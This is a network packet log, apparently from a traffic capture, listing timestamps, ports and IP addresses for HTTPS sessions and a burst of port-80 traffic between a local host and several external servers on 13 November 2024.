Nov 13, 2024 14:41:34.629940987 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:34.630368948 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.630399942 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.631179094 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.631198883 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.631232977 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.631246090 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.631297112 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.631395102 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632339954 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632364035 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632422924 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632436037 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632728100 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632787943 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632834911 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632849932 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632863998 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632886887 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632909060 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632931948 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632951021 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.632981062 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.632989883 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.633028984 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.633053064 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.633358955 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.633384943 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.633686066 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.633698940 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.633778095 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.633809090 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.633836031 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.633893967 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.633968115 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.634104013 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634124994 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634191990 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.634203911 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634239912 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.634756088 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.634831905 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.634846926 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634880066 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.634903908 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634953022 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.634954929 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.634960890 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.634968042 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.634980917 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.634983063 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.634987116 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.635067940 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.635067940 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.635869026 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.635957003 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.635976076 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.636045933 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.636636019 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.636652946 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.636710882 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.636718988 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.636801004 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.637193918 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.637269974 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.637331009 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.637450933 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.637847900 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.637873888 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.637936115 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.637947083 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.637985945 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.638457060 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.638509989 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.638545036 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.638555050 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.638573885 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.638597965 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.646317959 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.646704912 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.647135019 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.651560068 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651580095 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651648998 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.651667118 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651684999 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.651709080 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.651846886 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651904106 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.651911974 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651936054 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.651979923 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.652337074 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.652353048 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.652785063 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.652803898 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.652848005 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.652863026 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.652908087 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.653403997 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.653460979 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.653466940 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.653496027 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.653523922 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.653546095 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.657157898 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.657174110 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685049057 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685079098 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685218096 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.685218096 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.685230970 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685255051 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685302019 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.685338974 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.685347080 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.685386896 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.687450886 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.687468052 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.714863062 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.714876890 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.714953899 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.714967012 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.766271114 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.768402100 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.768418074 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.768737078 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.768954992 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.768973112 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.769618034 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.769696951 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.770198107 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.770265102 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.771308899 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.771389008 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.771738052 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.771811962 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.910548925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910562992 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910574913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910598040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910609961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910624027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910635948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910640001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910648108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910691023 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910718918 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910723925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910738945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910752058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910764933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910773039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910778999 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910792112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910794020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910805941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910816908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910830975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.910850048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.910876989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911010027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911022902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911035061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911047935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911060095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911071062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911077023 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911084890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911098003 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911098003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911122084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911124945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911139011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911144018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911153078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911165953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911180019 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911180019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911195993 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911211014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911211967 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911223888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911235094 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911237955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911252022 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911253929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911298990 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.911524057 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.911537886 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.911550045 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.911583900 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:34.911592007 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:34.911614895 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:34.911984921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.911999941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912010908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912017107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912023067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912029028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912034988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912040949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912041903 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912049055 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912055016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912107944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912111998 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912173986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912328959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912343025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912364960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912379026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912386894 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912391901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912405014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912417889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912421942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912431002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912442923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912444115 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912455082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912467003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912477970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912477970 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912503958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912503958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912518024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912529945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912539959 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912544012 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912559032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912573099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912575006 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912584066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912595987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912600994 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912609100 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912621021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912622929 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912632942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912646055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912662029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912667990 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912677050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912689924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912700891 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912700891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912715912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912736893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912739992 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912750006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912763119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912781954 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912796021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912803888 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912811041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912823915 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912836075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912842035 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912849903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912863016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912879944 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912888050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912899971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912934065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.912955046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912969112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912981033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.912992001 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913005114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913012028 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.913022995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913033009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.913037062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913049936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913053989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.913063049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913074017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913085938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913096905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.913108110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.913149118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.923763037 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.923846006 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.923901081 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.923933029 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.923954964 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.923990011 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.924021006 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.925731897 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.925777912 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.925811052 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.925817013 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:34.925864935 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:34.965578079 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.967828035 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.967864037 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.968539953 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.968548059 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.986901045 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.987696886 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.987750053 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.988919973 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.988930941 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.991415977 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.994061947 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.994096041 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.994950056 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.994956017 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.997807026 CET	49932	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.997891903 CET	443	49932	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:34.997996092 CET	49932	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.998375893 CET	49932	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.998411894 CET	443	49932	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:35.013947010 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:35.014233112 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:35.029386044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029401064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029412985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029448986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029463053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029475927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029489040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029490948 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029503107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029548883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029553890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029562950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029577017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029588938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029602051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029604912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029627085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029653072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029685974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029697895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029710054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.029727936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.029747009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.030343056 CET	80	49832	185.215.113.206	192.168.2.7
